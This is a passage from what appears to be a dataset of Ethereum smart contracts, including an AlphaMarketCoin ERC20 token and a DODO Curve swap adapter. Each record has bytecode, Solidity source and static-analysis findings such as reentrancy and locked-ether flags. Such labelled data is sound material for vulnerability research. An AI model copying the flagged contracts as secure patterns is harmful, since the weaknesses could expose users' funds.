65b6000819050919050565b6000612dda612dd5612dd084612dab565b612db5565b6127b4565b9050919050565b612dea81612dbf565b82525050565b600060c082019050612e056000830189612b58565b612e126020830188612860565b612e1f6040830187612de1565b612e2c6060830186612de1565b612e396080830185612b58565b612e4660a0830184612860565b979650505050505050565b600081519050612e60816127be565b92915050565b600080600060608486031215612e7f57612e7e61274c565b5b6000612e8d86828701612e51565b9350506020612e9e86828701612e51565b9250506040612eaf86828701612e51565b9150509250925092565b6000604082019050612ece6000830185612b58565b612edb6020830184612860565b9392505050565b600081519050612ef181612ad2565b92915050565b600060208284031215612f0d57612f0c61274c565b5b6000612f1b84828501612ee2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f80602483612692565b9150612f8b82612f24565b604082019050919050565b60006020820190508181036000830152612faf81612f73565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613012602283612692565b915061301d82612fb6565b604082019050919050565b6000602082019050818103600083015261304181613005565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a4602583612692565b91506130af82613048565b604082019050919050565b600060208201905081810360008301526130d381613097565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613136602383612692565b9150613141826130da565b604082019050919050565b6000602082019050818103600083015261316581613129565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c8602983612692565b91506131d38261316c565b604082019050919050565b600060208201905081810360008301526131f7816131bb565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613234601983612692565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b6000613275826127b4565b9150613280836127b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b5576132b4612c5d565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f6601a83612692565b9150613301826132c0565b602082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b6000613337826127b4565b9150613342836127b4565b92508282101561335557613354612c5d565b5b828203905092915050565b600061336b826127b4565b9150613376836127b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133af576133ae612c5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f4826127b4565b91506133ff836127b4565b92508261340f5761340e6133ba565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613476602183612692565b91506134818261341a565b604082019050919050565b600060208201905081810360008301526134a581613469565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613508602a83612692565b9150613513826134ac565b604082019050919050565b60006020820190508181036000830152613537816134fb565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357381612776565b82525050565b6000613585838361356a565b60208301905092915050565b6000602082019050919050565b60006135a98261353e565b6135b38185613549565b93506135be8361355a565b8060005b838110156135ef5781516135d68882613579565b97506135e183613591565b9250506001810190506135c2565b5085935050505092915050565b600060a0820190506136116000830188612860565b61361e6020830187612de1565b8181036040830152613630818661359e565b905061363f6060830185612b58565b61364c6080830184612860565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368c601b83612692565b915061369782613656565b602082019050919050565b600060208201905081810360008301526136bb8161367f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a4a8e63ff77ec9d6c0e321c65cf32359d439020eaebc8b62c56a7a4098fd2cb64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,761 |
0xc26aa9ad649c5def6d7f94fc46667f70210fe565
|
pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AlphaMarketCoin is StandardToken {
function AlphaMarketCoin(address _controller) public {
controller = _controller;
earlyAccess[_controller] = true;
totalSupply_ = 999999999 * 10 ** uint256(decimals);
balances[_controller] = totalSupply_;
}
modifier onlyController {
require(msg.sender == controller);
_;
}
// Transfering should be enabled by ICO contract only when half of ICO is passed
event TransferEnabled();
function addEarlyAccessAddress(address _address) external onlyController {
require(_address != 0x0);
earlyAccess[_address] = true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled || earlyAccess[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isTransferEnabled);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(isTransferEnabled);
return super.approve(_spender, _value);
}
function enableTransfering() public onlyController {
require(!isTransferEnabled);
isTransferEnabled = true;
emit TransferEnabled();
}
// Prevent sending ether to this address
function () public payable {
revert();
}
bool public isTransferEnabled = false;
address public controller;
mapping(address => bool) public earlyAccess;
uint8 public constant decimals = 18;
string public constant name = 'AlphaMarket Coin';
string public constant symbol = 'AMC';
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce567146102755780633f61dcf6146102a457806366188463146102b957806370a082311461031357806395d89b4114610360578063a31fcaca146103ee578063a9059cbb14610427578063cca5dcb614610481578063d73dd623146104ae578063dd62ed3e14610508578063f04a67ae14610574578063f77c4791146105c5575b600080fd5b34156100f657600080fd5b6100fe61061a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610653565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610682565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061068c565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b6102886106bd565b604051808260ff1660ff16815260200191505060405180910390f35b34156102af57600080fd5b6102b76106c2565b005b34156102c457600080fd5b6102f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610783565b604051808215151515815260200191505060405180910390f35b341561031e57600080fd5b61034a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a14565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b610373610a5c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b3578082015181840152602081019050610398565b50505050905090810190601f1680156103e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f957600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a95565b005b341561043257600080fd5b610467600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b72565b604051808215151515815260200191505060405180910390f35b341561048c57600080fd5b610494610bf5565b604051808215151515815260200191505060405180910390f35b34156104b957600080fd5b6104ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c08565b604051808215151515815260200191505060405180910390f35b341561051357600080fd5b61055e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e04565b6040518082815260200191505060405180910390f35b341561057f57600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e8b565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d8610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280601081526020017f416c7068614d61726b657420436f696e0000000000000000000000000000000081525081565b6000600360009054906101000a900460ff16151561067057600080fd5b61067a8383610ed1565b905092915050565b6000600154905090565b6000600360009054906101000a900460ff1615156106a957600080fd5b6106b4848484610fc3565b90509392505050565b601281565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561071e57600080fd5b600360009054906101000a900460ff1615151561073a57600080fd5b6001600360006101000a81548160ff0219169083151502179055507f75fce015c314a132947a3e42f6ab79ab8e05397dabf35b4d742dea228bbadc2d60405160405180910390a1565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610894576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610928565b6108a7838261137d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f414d43000000000000000000000000000000000000000000000000000000000081525081565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610af157600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610b1757600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360009054906101000a900460ff1680610bd85750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610be357600080fd5b610bed8383611396565b905092915050565b600360009054906101000a900460ff1681565b6000610c9982600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561100057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110d857600080fd5b611129826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111bc826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561138b57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113d357600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561142057600080fd5b611471826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611504826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156115c957fe5b80915050929150505600a165627a7a7230582061ab418a173728eca1d9a0dc956bd73dab05e7de5931d5b81f62f41020a76fdf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,762 |
0x942a23d3Be9C83D267B1B862F2ea397906Af8f3a
|
// File: contracts/SmartRoute/intf/IDODOAdapter.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
interface IDODOAdapter {
function sellBase(address to, address pool, bytes memory data) external;
function sellQuote(address to, address pool, bytes memory data) external;
}
// File: contracts/SmartRoute/intf/ICurve.sol
interface ICurve {
// solium-disable-next-line mixedcase
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function get_dy(int128 i, int128 j, uint256 dx) external view returns(uint256 dy);
// solium-disable-next-line mixedcase
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 minDy) external;
// solium-disable-next-line mixedcase
function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external;
// view coins address
function underlying_coins(int128 arg0) external view returns(address out);
function coins(int128 arg0) external view returns(address out);
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/SmartRoute/lib/UniversalERC20.sol
library UniversalERC20 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
function universalTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
to.transfer(amount);
} else {
token.safeTransfer(to, amount);
}
}
}
function universalApproveMax(
IERC20 token,
address to,
uint256 amount
) internal {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, uint256(-1));
}
}
function universalBalanceOf(IERC20 token, address who) internal view returns (uint256) {
if (isETH(token)) {
return who.balance;
} else {
return token.balanceOf(who);
}
}
function tokenBalanceOf(IERC20 token, address who) internal view returns (uint256) {
return token.balanceOf(who);
}
function isETH(IERC20 token) internal pure returns (bool) {
return token == ETH_ADDRESS;
}
}
// File: contracts/SmartRoute/adapter/CurveAdapter.sol
// for two tokens; to adapter like dodo V1
contract CurveAdapter is IDODOAdapter {
using SafeMath for uint;
function _curveSwap(address to, address pool, bytes memory moreInfo) internal {
(bool noLending, address fromToken, address toToken, int128 i, int128 j) = abi.decode(moreInfo, (bool, address, address, int128, int128));
uint256 sellAmount = IERC20(fromToken).balanceOf(address(this));
// approve
IERC20(fromToken).approve(pool, sellAmount);
// swap
if(noLending == true) {
ICurve(pool).exchange(i, j, sellAmount, 0);
}
else if(noLending == false) {
ICurve(pool).exchange_underlying(i, j, sellAmount, 0);
}
if(to != address(this)) {
SafeERC20.safeTransfer(IERC20(toToken), to, IERC20(toToken).balanceOf(address(this)));
}
}
function sellBase(address to, address pool, bytes memory moreInfo) external override {
_curveSwap(to, pool, moreInfo);
}
function sellQuote(address to, address pool, bytes memory moreInfo) external override {
_curveSwap(to, pool, moreInfo);
}
}
|
0x608060405234801561001057600080fd5b50600436106100365760003560e01c806330e6ae311461003b5780636f7929f21461003b575b600080fd5b6100fa6004803603606081101561005157600080fd5b6001600160a01b03823581169260208101359091169181019060608101604082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506100fc945050505050565b005b61010783838361010c565b505050565b60008060008060008580602001905160a081101561012957600080fd5b508051602080830151604080850151606086015160809096015182516370a0823160e01b81523060048201529251959b50929950975093955093506000926001600160a01b038816926370a0823192602480840193919291829003018186803b15801561019557600080fd5b505afa1580156101a9573d6000803e3d6000fd5b505050506040513d60208110156101bf57600080fd5b50516040805163095ea7b360e01b81526001600160a01b038b811660048301526024820184905291519293509087169163095ea7b3916044808201926020929091908290030181600087803b15801561021757600080fd5b505af115801561022b573d6000803e3d6000fd5b505050506040513d602081101561024157600080fd5b5050600186151514156102ce5760408051630f7c084960e21b8152600f85810b810b600483015284810b900b60248201526044810183905260006064820181905291516001600160a01b038b1692633df02124926084808201939182900301818387803b1580156102b157600080fd5b505af11580156102c5573d6000803e3d6000fd5b5050505061034f565b8561034f5760408051635320bf6b60e11b8152600f85810b810b600483015284810b900b60248201526044810183905260006064820181905291516001600160a01b038b169263a6417ed6926084808201939182900301818387803b15801561033657600080fd5b505af115801561034a573d6000803e3d6000fd5b505050505b6001600160a01b03891630146103eb576103eb848a866001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156103ba57600080fd5b505afa1580156103ce573d6000803e3d6000fd5b505050506040513d60208110156103e457600080fd5b50516103f6565b505050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261010790849060